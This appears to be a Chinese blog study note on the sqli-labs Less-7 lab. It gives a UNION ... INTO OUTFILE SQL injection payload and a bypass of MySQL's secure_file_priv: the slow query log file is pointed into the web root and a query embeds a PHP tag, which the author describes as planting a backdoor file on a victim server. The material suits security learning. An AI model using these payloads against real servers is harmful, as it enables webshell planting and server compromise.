(2020上半年第8天)小迪网络安全笔记(问题①)如何突破MYSQL的secure_file_priv防护

文件读写注入需要考虑mysql版本问题,高版本存在secure_file_priv过滤,高版本突破,低版本直接写入
数据库如果是高版本,数据库会有防御,解决方法两种,硬钢或者绕过,
硬钢参考:https://www.cnblogs.com/c1e4r/articles/8902444.html
我是用硬刚的方法,下面是我硬钢的过程:
出现这样的问题:

在处理sqlilabs第七关,
写入url:http:\\127.0.0.1\sqlilabs\Less-7\?id=1’)) union select null,’aaaa’,null into outfile ‘D:\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\1.txt’--+
出现
在这里插入图片描述
我先分析了网站,没有任何问题(url进入php后台没有任何问题,直接进入数据库执行好像出现了问题)
在这里插入图片描述

后来我们进入mysql命令行看一下哪里出现了问题( 把url转成sql看看出现什么问题了)
注意:
新版本phpstudypro好像没有mysql命令行,找新版本命令行过程看我的这个链接:[问题②](https://blog.csdn.net/u013630181/article/details/118066915) 老版本phpstudy找mysql命令行过程:网上多的是问度娘。 好的我们进入命令行 输入命令:C:\Users\使用者>D:\phpstudy_pro\Extensions\MySQL5.7.26\bin\mysql.exe mysql -u root -p`
在这里插入图片描述

password就是我们要写mysql的密码
在这里插入图片描述

展示有哪些数据库:show databases;
在这里插入图片描述

输入数据库Use security
在这里插入图片描述

现在我们把url转成数据库语言看看出现什么问题
Url:http:\127.0.0.1\sqlilabs\Less-7?id=1’)) union select null,’aaaa’,null into outfile ‘D:\phpstudy_pro\WWW\sqlilabs\Less-7\1.txt’–+
相当于sql:select * from users where id=((‘1’)) union select null,’aaaa’,null into outfile ‘D:/phpstudy_pro/WWW/sqlilabs/Less-7/1.txt’–+’)) limit 0,1;(注意符号)
在这里插入图片描述

出现这样的未知问题我们先ctrl+c退出来。
在输入:select * from users where id=((‘1’)) union select null,’aaaa’,null into outfile ‘D:/phpstudy_pro/WWW/sqlilabs/Less-7/1.txt’
出现
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
在这里插入图片描述

出现这个的原因是高版本数据库有防御
---------------------------------------------分割线-----------------------------------------------------------
原因我们找到了那现在就解决吧
网上的解决方法有两种一种是关闭防护(这个第一种最好就不用,实战中受害方不会关闭数据库防护)还有一种是突破,下面我实验的就是突破的这种方法(这种突破方法执行一次用一次后期演示我会把数据库防护关闭):
参考文章:www.cnblogs.com/c1e4r/articles/8902444.html(操作的时候就是把那三句sql执行)(相当于写了一个有后门的文件放到受害者服务器中)
下面开始:
由于这里还没讲sql语句直接注入,so文献中的三句话直接在数据库语句一下吧,
Sql语句:

 set global slow_query_log=1set global slow_query_log_file='D:\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\1.txt'SELECT '<?php asdsd?>' or sleep(11)

效果:在D:\phpstudy_pro\WWW\sqlilabs\Less-7下创建一个名为1.txt的文本,(注意必须写\,不然创建不了)文本内容为?php asdsd?
好的现在url可以用了:http:\\127.0.0.1\sqlilabs\Less-7\?id=1’)) union select null,’aaaa’,null into outfile ‘D:\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\1.txt’--+
效果(网站没反应,但是目录下已经出现了该文件)

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

.白菜白菜大白菜.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值